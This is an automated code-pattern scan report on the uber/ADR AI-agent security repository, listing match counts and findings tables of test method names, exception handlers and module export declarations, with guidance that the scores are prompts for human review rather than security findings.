ADR secures enterprise AI agents through observability, security benchmarking, and threat detection. Deployed at Uber.
This report summarizes scanner evidence for uber/ADR, a Python project with 2,008 GitHub stars. SynthScan examined 123,823 lines of code across 494 source files, recording 2043 pattern matches distributed across 22 syntactic categories. The legacy adjusted pattern signal is 19.1 (Elevated pattern signal); it is not an authorship estimate.
Use the findings to ask whether maintainers can explain intent, verify dependencies, simplify unnecessary scaffolding, and focus review effort. Risk Payload v1 adds ownership, supply-chain, over-engineering, and review-effort vectors when available. These are prompts for human verification, not probabilities, security findings, or measured maintenance costs.
Use each vector to guide manual verification of the underlying findings.
Can maintainers explain intent, assumptions, and trade-offs? 1302 finding(s).
Are imports declared and package/API names verified? 470 finding(s).
Are wrappers, guards, and repeated structures necessary? 1236 finding(s).
Which changes need focused human review? 2043 finding(s).
This chart tracks the legacy adjusted pattern score across scan runs. Changes can reflect source changes, scan coverage, or detector/scoring versions; they do not measure AI adoption or prove that a team refactored code. Compare runs only when their scoring versions are compatible. The dashed line tracks the raw pattern-hit count.
Groups findings by configured severity weight. Severity is not a confidence estimate, security rating, or proof that a package is missing. Verify imports against the project's manifests and inspect each finding in its local design context.
This horizontal bar chart shows where configured pattern scores accumulate across directories. Treat the bars as locations to inspect, not as evidence of authorship or code quality. Use the file-level findings to decide whether a directory needs a focused ownership, dependency, complexity, or review check.
The scanner identified 2043 distinct pattern matches across 22 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a detector match to inspect in context. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.
Reading the findings table: The Severity column indicates the configured finding weight (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — legacy comment-context matches receive a ×1.5 score weight. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier under the legacy scoring model.
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | Discovery/tests/test_report.py | 20 | def test_it_is_one_self_contained_page(self): | CODE |
| LOW⚡ | Discovery/tests/test_report.py | 26 | def test_it_names_the_run_the_image_and_the_collector(self): | CODE |
| LOW⚡ | Discovery/tests/test_report.py | 34 | def test_categories_are_listed_separately(self): | CODE |
| LOW⚡ | Discovery/tests/test_report.py | 40 | def test_every_miss_and_invention_is_listed_by_id(self): | CODE |
| LOW | Discovery/tests/test_report.py | 58 | def test_a_failing_gate_says_why(self): | CODE |
| LOW⚡ | Discovery/tests/test_match.py | 19 | def test_a_home_reference_becomes_a_path(self): | CODE |
| LOW⚡ | Discovery/tests/test_match.py | 23 | def test_windows_separators_compare_with_posix_ones(self): | CODE |
| LOW⚡ | Discovery/tests/test_match.py | 26 | def test_launch_identity_ignores_formatting(self): | CODE |
| LOW⚡ | Discovery/tests/test_match.py | 33 | def test_an_empty_path_stays_empty(self): | CODE |
| LOW⚡ | Discovery/tests/test_match.py | 42 | def test_an_asset_is_claimed_once(self): | CODE |
| LOW⚡ | Discovery/tests/test_match.py | 50 | def test_an_asset_indexed_by_two_paths_is_not_its_own_duplicate(self): | CODE |
| LOW⚡ | Discovery/tests/test_match.py | 57 | def test_a_surplus_asset_at_a_shared_key_is_a_duplicate(self): | CODE |
| LOW⚡ | Discovery/tests/test_match.py | 64 | def test_an_unmatched_asset_is_left_over(self): | CODE |
| LOW⚡ | Discovery/tests/test_match.py | 75 | def test_a_variant_claims_nothing(self): | CODE |
| LOW⚡ | Discovery/tests/test_match.py | 82 | def test_an_assertion_does_not_consume_the_asset_it_describes(self): | CODE |
| LOW⚡ | Discovery/tests/test_match.py | 92 | def test_a_remote_server_is_identified_by_where_it_points(self): | CODE |
| LOW⚡ | Discovery/tests/test_match.py | 97 | def test_the_same_command_at_two_sites_is_two_assets(self): | CODE |
| LOW⚡ | Discovery/tests/test_manifest.py | 13 | def test_the_manifest_is_complete(self): | CODE |
| LOW⚡ | Discovery/tests/test_manifest.py | 17 | def test_applicable_counts_per_os(self): | CODE |
| LOW⚡ | Discovery/tests/test_manifest.py | 23 | def test_fourteen_families_cover_everything(self): | CODE |
| LOW⚡ | Discovery/tests/test_manifest.py | 33 | def test_half_the_manifest_needs_no_installer(self): | CODE |
| LOW⚡ | Discovery/tests/test_manifest.py | 39 | def test_every_catalogued_tool_appears_once(self): | CODE |
| LOW⚡ | Discovery/tests/test_manifest.py | 47 | def test_installed_packages_are_pinned(self): | CODE |
| LOW⚡ | Discovery/tests/test_manifest.py | 53 | def test_variants_name_a_base_that_applies_there(self): | CODE |
| LOW⚡ | Discovery/tests/test_manifest.py | 61 | def test_shapes_are_derived_not_declared(self): | CODE |
| LOW⚡ | Discovery/tests/test_manifest.py | 67 | def test_a_bad_family_is_refused_at_load(self): | CODE |
| LOW⚡ | Discovery/tests/test_score.py | 40 | def test_a_correct_collector_scores_perfectly(self): | CODE |
| LOW⚡ | Discovery/tests/test_score.py | 48 | def test_recall_is_reported_per_category(self): | CODE |
| LOW⚡ | Discovery/tests/test_score.py | 52 | def test_every_verdict_is_keyed_by_manifest_id(self): | CODE |
| LOW⚡ | Discovery/tests/test_score.py | 60 | def test_a_missing_asset_is_a_false_negative(self): | CODE |
| LOW⚡ | Discovery/tests/test_score.py | 65 | def test_an_invented_asset_is_a_false_positive(self): | CODE |
| LOW⚡ | Discovery/tests/test_score.py | 70 | def test_a_second_asset_for_one_install_is_a_duplicate(self): | CODE |
| LOW⚡ | Discovery/tests/test_score.py | 75 | def test_a_leaked_canary_fails_the_run_outright(self): | CODE |
| LOW⚡ | Discovery/tests/test_score.py | 82 | def test_a_dirty_baseline_fails_before_the_score_matters(self): | CODE |
| LOW⚡ | Discovery/tests/test_score.py | 87 | def test_a_wrong_field_lowers_that_field_and_not_recall(self): | CODE |
| LOW⚡ | Discovery/tests/test_score.py | 95 | def test_an_unavailable_entry_is_not_a_miss(self): | CODE |
| LOW⚡ | Discovery/tests/test_score.py | 103 | def test_a_variant_leaves_with_the_tool_it_duplicates(self): | CODE |
| LOW⚡ | Discovery/tests/test_score.py | 110 | def test_a_failed_entry_leaves_the_denominator_but_is_reported(self): | CODE |
| LOW⚡ | Discovery/tests/test_score.py | 117 | def test_recall_below_the_previous_accepted_run_fails(self): | CODE |
| LOW⚡ | Discovery/tests/test_score.py | 124 | def test_a_run_is_not_compared_against_another_os(self): | CODE |
| LOW⚡ | Discovery/tests/test_score.py | 131 | def test_score_json_round_trips(self): | CODE |
| LOW⚡ | Discovery/tests/test_runner.py | 16 | def test_every_family_has_an_execution_slot(self): | CODE |
| LOW⚡ | Discovery/tests/test_runner.py | 20 | def test_a_family_with_no_slot_is_refused(self): | CODE |
| LOW⚡ | Discovery/tests/test_runner.py | 27 | def test_extensions_run_after_the_app_that_hosts_them(self): | CODE |
| LOW⚡ | Discovery/tests/test_runner.py | 30 | def test_declarations_run_after_their_host_application(self): | CODE |
| LOW⚡ | Discovery/tests/test_runner.py | 34 | def test_variants_run_after_the_first_install(self): | CODE |
| LOW⚡ | Discovery/tests/test_runner.py | 37 | def test_runtime_state_runs_last(self): | CODE |
| LOW⚡ | Discovery/tests/test_runner.py | 41 | def test_ordering_is_stable_within_a_family(self): | CODE |
| LOW⚡ | Discovery/tests/test_runner.py | 52 | def test_a_dry_run_touches_no_guest_and_records_everything(self): | CODE |
| LOW⚡ | Discovery/tests/test_runner.py | 60 | def test_a_pending_family_is_unavailable_with_a_reason(self): | CODE |
| LOW⚡ | Discovery/tests/test_runner.py | 70 | def test_a_broken_recipe_fails_one_entry_rather_than_the_run(self): | CODE |
| LOW⚡ | Discovery/tests/test_runner.py | 82 | def test_an_unpinned_install_is_refused(self): | CODE |
| LOW⚡ | Discovery/tests/test_runner.py | 91 | def test_a_failing_command_is_a_failed_entry(self): | CODE |
| LOW⚡ | Discovery/tests/test_runner.py | 98 | def test_built_and_pending_together_cover_the_fourteen_families(self): | CODE |
| LOW⚡ | Discovery/tests/test_runner.py | 101 | def test_nothing_is_both_built_and_pending(self): | CODE |
| LOW⚡ | Discovery/tests/test_bootstrap.py | 20 | def test_a_skill_is_a_skill_and_not_the_word_skill(self): | CODE |
| LOW⚡ | Discovery/tests/test_bootstrap.py | 25 | def test_a_hook_row_produces_the_settings_shape(self): | CODE |
| LOW⚡ | Discovery/tests/test_bootstrap.py | 33 | def test_a_canary_reaches_the_body(self): | CODE |
| LOW⚡ | Discovery/tests/test_bootstrap.py | 38 | def test_an_unresolved_canary_is_left_visible(self): | CODE |
| LOW⚡ | Discovery/tests/test_bootstrap.py | 43 | def test_the_malformed_bundle_is_actually_malformed(self): | CODE |
| 893 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | Discovery/tests/cli.py | 9 | CODE | |
| LOW | Discovery/tests/provision/lima.py | 12 | CODE | |
| LOW | Discovery/tests/provision/driver.py | 9 | CODE | |
| LOW | Discovery/tests/provision/tart.py | 9 | CODE | |
| LOW | Discovery/tests/tools/bootstrap.py | 9 | CODE | |
| LOW | Discovery/tests/tools/synthesize.py | 13 | CODE | |
| LOW | Discovery/tests/install/runner.py | 11 | CODE | |
| LOW | Discovery/tests/install/bodies.py | 8 | CODE | |
| LOW | Discovery/tests/install/writers.py | 8 | CODE | |
| LOW | Discovery/tests/install/recipes/__init__.py | 10 | CODE | |
| LOW | Discovery/tests/scoring/canary.py | 12 | CODE | |
| LOW | Discovery/tests/scoring/score.py | 8 | CODE | |
| LOW | Discovery/tests/scoring/snapshot.py | 9 | CODE | |
| LOW | Discovery/tests/scoring/schema.py | 8 | CODE | |
| LOW | Discovery/tests/scoring/match.py | 10 | CODE | |
| LOW | Discovery/tests/report/html.py | 9 | CODE | |
| LOW | Discovery/adr_discovery/__init__.py | 8 | CODE | |
| LOW | Discovery/adr_discovery/__init__.py | 10 | CODE | |
| LOW | Discovery/adr_discovery/__init__.py | 10 | CODE | |
| LOW | Discovery/adr_discovery/__init__.py | 10 | CODE | |
| LOW | Discovery/adr_discovery/__init__.py | 11 | CODE | |
| LOW | Discovery/adr_discovery/__init__.py | 12 | CODE | |
| LOW | Discovery/adr_discovery/__init__.py | 12 | CODE | |
| LOW | Discovery/adr_discovery/__init__.py | 12 | CODE | |
| LOW | Discovery/adr_discovery/cli.py | 8 | CODE | |
| LOW | Discovery/adr_discovery/pipeline.py | 13 | CODE | |
| LOW | Discovery/adr_discovery/reporter/__init__.py | 3 | CODE | |
| LOW | Discovery/adr_discovery/reporter/__init__.py | 5 | CODE | |
| LOW | Discovery/adr_discovery/reporter/__init__.py | 5 | CODE | |
| LOW | Discovery/adr_discovery/reporter/__init__.py | 5 | CODE | |
| LOW | Discovery/adr_discovery/reporter/__init__.py | 6 | CODE | |
| LOW | Discovery/adr_discovery/reporter/__init__.py | 6 | CODE | |
| LOW | Discovery/adr_discovery/reporter/__init__.py | 6 | CODE | |
| LOW | Discovery/adr_discovery/reporter/__init__.py | 6 | CODE | |
| LOW | Discovery/adr_discovery/reporter/delta.py | 11 | CODE | |
| LOW | Discovery/adr_discovery/reporter/identity.py | 13 | CODE | |
| LOW | Discovery/adr_discovery/reporter/snapshot.py | 8 | CODE | |
| LOW | Discovery/adr_discovery/contracts/records.py | 7 | CODE | |
| LOW | Discovery/adr_discovery/contracts/evidence.py | 7 | CODE | |
| LOW | Discovery/adr_discovery/contracts/snapshot.py | 8 | CODE | |
| LOW | Discovery/adr_discovery/catalog/load.py | 12 | CODE | |
| LOW | Discovery/adr_discovery/world/budget.py | 8 | CODE | |
| LOW | Discovery/adr_discovery/world/gate.py | 16 | CODE | |
| LOW | Discovery/adr_discovery/world/platform/__init__.py | 3 | CODE | |
| LOW | Discovery/adr_discovery/world/platform/__init__.py | 7 | CODE | |
| LOW | Discovery/adr_discovery/world/platform/darwin.py | 7 | CODE | |
| LOW | Discovery/adr_discovery/world/platform/windows.py | 3 | CODE | |
| LOW | Discovery/adr_discovery/world/platform/linux.py | 3 | CODE | |
| LOW | Discovery/adr_discovery/world/platform/base.py | 8 | CODE | |
| LOW | Discovery/adr_discovery/world/platform/base.py | 16 | CODE | |
| LOW | Discovery/adr_discovery/world/platform/base.py | 16 | CODE | |
| LOW | Discovery/adr_discovery/extractor/surfaces.py | 14 | CODE | |
| LOW | Discovery/adr_discovery/extractor/__init__.py | 9 | CODE | |
| LOW | Discovery/adr_discovery/extractor/__init__.py | 18 | CODE | |
| LOW | Discovery/adr_discovery/extractor/isolate.py | 10 | CODE | |
| LOW | …scovery/adr_discovery/extractor/formats/frontmatter.py | 14 | CODE | |
| LOW | Discovery/adr_discovery/extractor/formats/__init__.py | 10 | CODE | |
| LOW | Discovery/adr_discovery/extractor/formats/yaml.py | 16 | CODE | |
| LOW | Discovery/adr_discovery/extractor/formats/workflow.py | 13 | CODE | |
| LOW | Discovery/adr_discovery/redact/rules.py | 12 | CODE | |
| 392 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | Discovery/tests/manifest.py | 314 | CODE | |
| LOW | Discovery/tests/tools/bootstrap.py | 210 | CODE | |
| LOW | Discovery/tests/scoring/match.py | 99 | CODE | |
| LOW | Discovery/adr_discovery/catalog/load.py | 84 | CODE | |
| LOW | Discovery/adr_discovery/world/gate.py | 260 | CODE | |
| LOW | Discovery/adr_discovery/world/platform/linux.py | 29 | CODE | |
| LOW | Discovery/adr_discovery/world/platform/linux.py | 111 | CODE | |
| LOW | Discovery/adr_discovery/world/platform/base.py | 226 | CODE | |
| LOW | Discovery/adr_discovery/world/platform/base.py | 254 | CODE | |
| LOW | Discovery/adr_discovery/world/platform/base.py | 287 | CODE | |
| LOW | Discovery/adr_discovery/extractor/__init__.py | 141 | CODE | |
| LOW | Discovery/adr_discovery/tests_unit/test_import_rules.py | 113 | CODE | |
| LOW | Discovery/adr_discovery/enumerator/sources/appstate.py | 29 | CODE | |
| LOW | …covery/adr_discovery/enumerator/sources/modelstores.py | 16 | CODE | |
| LOW | Discovery/adr_discovery/enumerator/sources/network.py | 19 | CODE | |
| LOW | Discovery/adr_discovery/resolver/merge.py | 43 | CODE | |
| LOW | Sensor/tests/test_parser_diagnostics.py | 92 | CODE | |
| LOW | Sensor/examples/demo.py | 184 | CODE | |
| LOW | Sensor/adr_sensor/observer.py | 295 | CODE | |
| LOW | Sensor/adr_sensor/observer.py | 359 | CODE | |
| LOW | Sensor/adr_sensor/observer.py | 472 | CODE | |
| LOW | Sensor/adr_sensor/observer.py | 908 | CODE | |
| LOW | Sensor/adr_sensor/cli.py | 50 | CODE | |
| LOW | Sensor/adr_sensor/parsers/claude_desktop_parser.py | 65 | CODE | |
| LOW | Sensor/adr_sensor/parsers/claude_desktop_parser.py | 119 | CODE | |
| LOW | Sensor/adr_sensor/parsers/claude_desktop_parser.py | 308 | CODE | |
| LOW | Sensor/adr_sensor/parsers/claude_desktop_parser.py | 370 | CODE | |
| LOW | Sensor/adr_sensor/parsers/claude_desktop_parser.py | 470 | CODE | |
| LOW | Sensor/adr_sensor/parsers/gemini_parser.py | 36 | CODE | |
| LOW | Sensor/adr_sensor/parsers/gemini_parser.py | 87 | CODE | |
| LOW | Sensor/adr_sensor/parsers/claude_parser.py | 134 | CODE | |
| LOW | Sensor/adr_sensor/parsers/claude_parser.py | 209 | CODE | |
| LOW | Sensor/adr_sensor/parsers/claude_parser.py | 227 | CODE | |
| LOW | Sensor/adr_sensor/parsers/claude_parser.py | 302 | CODE | |
| LOW | Sensor/adr_sensor/parsers/claude_parser.py | 375 | CODE | |
| LOW | Sensor/adr_sensor/parsers/warp_parser.py | 52 | CODE | |
| LOW | Sensor/adr_sensor/parsers/warp_parser.py | 164 | CODE | |
| LOW | Sensor/adr_sensor/parsers/warp_parser.py | 244 | CODE | |
| LOW | Sensor/adr_sensor/parsers/warp_parser.py | 295 | CODE | |
| LOW | Sensor/adr_sensor/parsers/opencode_parser.py | 222 | CODE | |
| LOW | Sensor/adr_sensor/parsers/opencode_parser.py | 354 | CODE | |
| LOW | Sensor/adr_sensor/parsers/opencode_parser.py | 461 | CODE | |
| LOW | Sensor/adr_sensor/parsers/copilot_parser.py | 92 | CODE | |
| LOW | Sensor/adr_sensor/parsers/copilot_parser.py | 463 | CODE | |
| LOW | Sensor/adr_sensor/parsers/copilot_parser.py | 550 | CODE | |
| LOW | Sensor/adr_sensor/parsers/antigravity_parser.py | 72 | CODE | |
| LOW | Sensor/adr_sensor/parsers/antigravity_parser.py | 169 | CODE | |
| LOW | Sensor/adr_sensor/parsers/dsh_parser.py | 211 | CODE | |
| LOW | Sensor/adr_sensor/parsers/dsh_parser.py | 465 | CODE | |
| LOW | Sensor/adr_sensor/parsers/codex_parser.py | 161 | CODE | |
| LOW | Sensor/adr_sensor/parsers/codex_parser.py | 210 | CODE | |
| LOW | Sensor/adr_sensor/parsers/codex_parser.py | 248 | CODE | |
| LOW | Sensor/adr_sensor/parsers/codex_parser.py | 406 | CODE | |
| LOW | Sensor/adr_sensor/parsers/codex_parser.py | 610 | CODE | |
| LOW | Sensor/adr_sensor/parsers/cline_parser.py | 60 | CODE | |
| LOW | Sensor/adr_sensor/parsers/cline_parser.py | 100 | CODE | |
| LOW | Sensor/adr_sensor/parsers/cline_parser.py | 172 | CODE | |
| LOW | Sensor/adr_sensor/parsers/cline_parser.py | 227 | CODE | |
| LOW | Sensor/adr_sensor/parsers/cursor_parser.py | 64 | CODE | |
| LOW | Sensor/adr_sensor/parsers/cursor_parser.py | 159 | CODE | |
| 151 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | Discovery/tests/tools/bootstrap.py | 96 | except Exception as failure: # noqa: BLE001 - one bad entry is not a dead run | CODE |
| LOW | Discovery/tests/install/runner.py | 95 | except Exception as failure: # noqa: BLE001 - a broken recipe is a failed entry, not a dead run | CODE |
| LOW | Discovery/adr_discovery/world/platform/darwin.py | 91 | except Exception: | CODE |
| LOW | Discovery/adr_discovery/extractor/__init__.py | 76 | except Exception as exc: | CODE |
| LOW | Discovery/adr_discovery/extractor/isolate.py | 41 | except Exception as exc: # one record, one boundary | CODE |
| LOW | Sensor/adr_sensor/observer.py | 222 | except Exception as e: | CODE |
| LOW | Sensor/adr_sensor/observer.py | 439 | except Exception as e: | CODE |
| LOW | Sensor/adr_sensor/observer.py | 810 | except Exception: | CODE |
| LOW⚡ | Sensor/adr_sensor/host_identity.py | 31 | except Exception: | CODE |
| LOW⚡ | Sensor/adr_sensor/host_identity.py | 41 | except Exception: | CODE |
| LOW⚡ | Sensor/adr_sensor/host_identity.py | 51 | except Exception: | CODE |
| LOW | Sensor/adr_sensor/diagnostics.py | 128 | except Exception: | CODE |
| LOW | Sensor/adr_sensor/diagnostics.py | 135 | except Exception: | CODE |
| LOW | Sensor/adr_sensor/cli.py | 23 | except Exception: | CODE |
| LOW | Sensor/adr_sensor/cli.py | 173 | except Exception: | STRING |
| LOW | Sensor/adr_sensor/cli.py | 278 | except Exception: | STRING |
| LOW | Sensor/adr_sensor/cli.py | 350 | except Exception: | STRING |
| LOW | Sensor/adr_sensor/parsers/claude_desktop_parser.py | 109 | except Exception as e: | CODE |
| LOW | Sensor/adr_sensor/parsers/claude_parser.py | 128 | except Exception as e: | CODE |
| LOW | Sensor/adr_sensor/parsers/claude_parser.py | 460 | except Exception as e: | CODE |
| LOW | Sensor/adr_sensor/parsers/warp_parser.py | 86 | except Exception as e: | CODE |
| LOW | Sensor/adr_sensor/parsers/warp_parser.py | 92 | except Exception as e: | CODE |
| LOW | Sensor/adr_sensor/parsers/warp_parser.py | 128 | except Exception: | STRING |
| LOW | Sensor/adr_sensor/parsers/warp_parser.py | 228 | except Exception as e: | CODE |
| LOW | Sensor/adr_sensor/parsers/warp_parser.py | 282 | except Exception: | CODE |
| LOW | Sensor/adr_sensor/parsers/warp_parser.py | 319 | except Exception: | CODE |
| LOW | Sensor/adr_sensor/parsers/opencode_parser.py | 250 | except Exception as e: | CODE |
| LOW | Sensor/adr_sensor/parsers/opencode_parser.py | 261 | except Exception as e: | CODE |
| LOW | Sensor/adr_sensor/parsers/opencode_parser.py | 347 | except Exception as e: | CODE |
| LOW | Sensor/adr_sensor/parsers/copilot_parser.py | 86 | except Exception as exc: | CODE |
| LOW | Sensor/adr_sensor/parsers/copilot_parser.py | 140 | except Exception as exc: | CODE |
| LOW | Sensor/adr_sensor/parsers/copilot_parser.py | 544 | except Exception as exc: | CODE |
| LOW | Sensor/adr_sensor/parsers/copilot_parser.py | 564 | except Exception: | CODE |
| LOW⚡ | Sensor/adr_sensor/parsers/copilot_parser.py | 588 | except Exception: | CODE |
| LOW | Sensor/adr_sensor/parsers/codex_parser.py | 106 | except Exception as e: | CODE |
| LOW | Sensor/adr_sensor/parsers/codex_parser.py | 282 | except Exception as exc: | CODE |
| LOW | Sensor/adr_sensor/parsers/codex_parser.py | 345 | except Exception as e: | CODE |
| LOW | Sensor/adr_sensor/parsers/codex_parser.py | 626 | except Exception: | CODE |
| LOW | Sensor/adr_sensor/parsers/cline_parser.py | 162 | except Exception as e: | CODE |
| LOW | Sensor/adr_sensor/parsers/cline_parser.py | 217 | except Exception as e: | CODE |
| LOW⚡ | Sensor/adr_sensor/parsers/cursor_parser.py | 129 | except Exception: | CODE |
| LOW⚡ | Sensor/adr_sensor/parsers/cursor_parser.py | 138 | except Exception: | CODE |
| LOW⚡ | Sensor/adr_sensor/parsers/cursor_parser.py | 144 | except Exception as e: | CODE |
| LOW | Sensor/adr_sensor/parsers/cursor_parser.py | 58 | except Exception as e: | CODE |
| LOW | Sensor/adr_sensor/parsers/cursor_parser.py | 84 | except Exception: | CODE |
| LOW | Sensor/adr_sensor/parsers/cursor_parser.py | 90 | except Exception: | CODE |
| LOW | Sensor/adr_sensor/parsers/cursor_parser.py | 191 | except Exception: | CODE |
| LOW | Sensor/adr_sensor/parsers/cursor_parser.py | 195 | except Exception as e: | CODE |
| LOW | Sensor/adr_sensor/parsers/cursor_parser.py | 221 | except Exception: | CODE |
| LOW | Sensor/adr_sensor/parsers/cursor_parser.py | 227 | except Exception: | CODE |
| LOW | Sensor/adr_sensor/parsers/cursor_parser.py | 259 | except Exception: | CODE |
| LOW | Sensor/adr_sensor/parsers/cursor_parser.py | 299 | except Exception: | CODE |
| LOW | Sensor/adr_sensor/parsers/cursor_parser.py | 340 | except Exception: | CODE |
| LOW | Sensor/adr_sensor/exporters/opentelemetry.py | 158 | except Exception as exc: | CODE |
| LOW | Sensor/adr_sensor/exporters/opentelemetry.py | 175 | except Exception as exc: | CODE |
| LOW | Sensor/adr_sensor/exporters/opentelemetry.py | 353 | except Exception: | CODE |
| MEDIUM | Sensor/adr_sensor/exporters/opentelemetry.py | 172 | def _flush(self) -> None: | CODE |
| MEDIUM | Detection/main_benchmark.py | 62 | def _load_config(self) -> Dict[str, Any]: | CODE |
| LOW | Detection/main_benchmark.py | 217 | except Exception as e: | CODE |
| LOW | Detection/main_benchmark.py | 382 | except Exception as e: | CODE |
| 96 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | Discovery/adr_discovery/world/gate.py | 467 | except (OSError, ProcessLookupError): | CODE |
| HIGH | Discovery/adr_discovery/world/gate.py | 471 | except subprocess.TimeoutExpired: | CODE |
| HIGH | Discovery/adr_discovery/extractor/formats/yaml.py | 119 | except ValueError: | CODE |
| HIGH | Discovery/adr_discovery/tests_unit/conftest.py | 35 | except OSError: | CODE |
| HIGH | Sensor/adr_sensor/sensor_log.py | 173 | except (OSError, ValueError): | CODE |
| HIGH | Sensor/adr_sensor/diagnostics.py | 97 | except (TypeError, ValueError): | CODE |
| HIGH | Sensor/adr_sensor/diagnostics.py | 135 | except Exception: | CODE |
| HIGH | Sensor/adr_sensor/cli.py | 350 | except Exception: | CODE |
| HIGH | Sensor/adr_sensor/parsers/antigravity_parser.py | 299 | except json.JSONDecodeError: | CODE |
| HIGH | Sensor/adr_sensor/parsers/codex_parser.py | 206 | except sqlite3.Error: | CODE |
| HIGH | Sensor/adr_sensor/parsers/codex_parser.py | 386 | except (json.JSONDecodeError, RecursionError, ValueError): | CODE |
| HIGH | Sensor/adr_sensor/exporters/delivery_checkpoint.py | 123 | except OSError: | CODE |
| HIGH | Sensor/adr_sensor/utils/timestamp_utils.py | 80 | except (ValueError, IndexError): | CODE |
| HIGH | Detection/main_benchmark.py | 45 | except (ImportError, Exception): | CODE |
| HIGH | Detection/main_benchmark.py | 828 | except Exception: | CODE |
| HIGH | Detection/main_benchmark.py | 916 | except ProcessLookupError: | CODE |
| HIGH | …chmark/agentdojo/benchmark_agents/pfi_agent/sealing.py | 331 | except Exception as e: | CODE |
| HIGH | …k/agentdojo/benchmark_agents/f_secure_agent/sealing.py | 305 | except Exception as e: | CODE |
| HIGH | …gentdojo/benchmarks/agentdojo/task_suite/task_suite.py | 396 | except Exception as e: | CODE |
| HIGH | …gentdojo/benchmarks/agentdojo/task_suite/task_suite.py | 733 | except: | CODE |
| HIGH | …gentdojo/benchmarks/agentdojo/task_suite/task_suite.py | 406 | except Exception as e: | CODE |
| HIGH | …gentdojo/benchmarks/agentdojo/task_suite/task_suite.py | 414 | except Exception as e: | CODE |
| HIGH | …benchmarks/agentdojo/agent_pipeline/llms/google_llm.py | 155 | except AttributeError: | CODE |
| HIGH | …ction/context_providers/source_code_analyzer_server.py | 263 | except UnicodeError: | CODE |
| HIGH | …codes/mcp_servers_0/patent_analyzer/patent_analyzer.py | 134 | except ValueError: | CODE |
| HIGH | …odes/mcp_servers_1/ai_insights/function/ai_insights.py | 69 | except: | CODE |
| HIGH | Detection/guardrail/adr_agent/adr_baseline.py | 661 | except IndexError: | CODE |
| HIGH | Detection/guardrail/adr_agent/adr_baseline.py | 669 | except IndexError: | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | Discovery/tests/__init__.py | 14 | __all__ = ["manifest", "scoring", "install", "provision", "report"] | CODE |
| LOW | Discovery/tests/provision/lima.py | 84 | __all__ = ["LimaDriver", "NoSnapshot"] | CODE |
| LOW | Discovery/tests/provision/driver.py | 113 | __all__ = ["DEFAULT_TIMEOUT", "Driver", "DryDriver", "Result"] | CODE |
| LOW | Discovery/tests/provision/tart.py | 108 | __all__ = ["NoSnapshot", "SSH_OPTIONS", "TartDriver"] | CODE |
| LOW | Discovery/tests/tools/bootstrap.py | 344 | __all__ = ["BINARIES", "FAILED", "MISSING", "OK", "Report", "SKIPPED", "Step", | CODE |
| LOW | Discovery/tests/tools/synthesize.py | 324 | __all__ = ["FAULTS", "HOME", "Plan", "build", "canary_values"] | CODE |
| LOW | Discovery/tests/install/runner.py | 126 | __all__ = ["FAILED", "INSTALLED", "ORDER", "Outcome", "Recipe", "UNAVAILABLE", | CODE |
| LOW | Discovery/tests/install/bodies.py | 169 | __all__ = ["MALFORMED", "TEMPLATES", "artifact", "body_for", "declaration", | CODE |
| LOW | Discovery/tests/install/writers.py | 103 | __all__ = ["emit", "format_for", "to_json", "to_toml", "to_yaml"] | CODE |
| LOW | Discovery/tests/install/recipes/__init__.py | 119 | __all__ = ["BUILT", "PENDING", "REGISTRY", "artifact", "baseline_prereq", "declare_mcp", "npm_global"] | CODE |
| LOW | Discovery/tests/scoring/canary.py | 86 | __all__ = ["CanaryError", "CanaryReport", "Leak", "MIN_LENGTH", "check"] | CODE |
| LOW | Discovery/tests/scoring/score.py | 334 | __all__ = ["Counts", "DUP", "FN", "FP", "Score", "TP", "Verdict", "score"] | CODE |
| LOW | Discovery/tests/scoring/snapshot.py | 189 | __all__ = [ | CODE |
| LOW | Discovery/tests/scoring/schema.py | 88 | __all__ = ["ABSOLUTE", "Gate", "SCHEMA_VERSION", "gate", "to_dict", "to_json"] | CODE |
| LOW | Discovery/tests/scoring/match.py | 282 | __all__ = ["Match", "Matching", "identity_of", "launch_identity", "match", "normalize_path"] | CODE |
| LOW | Discovery/tests/report/html.py | 149 | __all__ = ["render"] | CODE |
| LOW | Discovery/adr_discovery/__init__.py | 15 | __all__ = ["discover", "diff", "to_dict", "to_json", "Snapshot", "Coverage", "SCHEMA_VERSION"] | CODE |
| LOW | Discovery/adr_discovery/reporter/__init__.py | 8 | __all__ = ["diff", "Delta", "DifferentEndpoints", "from_dict", "to_dict", "to_json", "stats"] | CODE |
| LOW | Discovery/adr_discovery/extractor/__init__.py | 20 | __all__ = ["extract", "SCOPES", "SURFACE_NAMES"] | CODE |
| LOW | Discovery/adr_discovery/identifier/__init__.py | 13 | __all__ = ["identify", "content_hash", "binary_format", "check_version", "score", "signals_for", "is_reviewable", "THRES | CODE |
| LOW | Discovery/adr_discovery/judge/__init__.py | 18 | __all__ = ["judge", "Policy", "EMPTY"] | CODE |
| LOW | Discovery/adr_discovery/enumerator/__init__.py | 21 | __all__ = ["enumerate_candidates"] | CODE |
| LOW | Discovery/adr_discovery/resolver/__init__.py | 17 | __all__ = ["resolve", "asset_id", "normalize_root"] | CODE |
| LOW | Sensor/adr_sensor/observer.py | 43 | logger = logging.getLogger(__name__) | CODE |
| LOW | Sensor/adr_sensor/sensor_log.py | 143 | def set_console_level(level) -> None: | CODE |
| LOW | Sensor/adr_sensor/diagnostics.py | 13 | logger = logging.getLogger(__name__) | CODE |
| LOW | Sensor/adr_sensor/__init__.py | 29 | __all__ = [ | CODE |
| LOW | Sensor/adr_sensor/cli.py | 34 | logger = logging.getLogger(__name__) | CODE |
| LOW | Sensor/adr_sensor/parsers/claude_desktop_parser.py | 31 | logger = logging.getLogger(__name__) | CODE |
| LOW | Sensor/adr_sensor/parsers/gemini_parser.py | 20 | logger = logging.getLogger(__name__) | CODE |
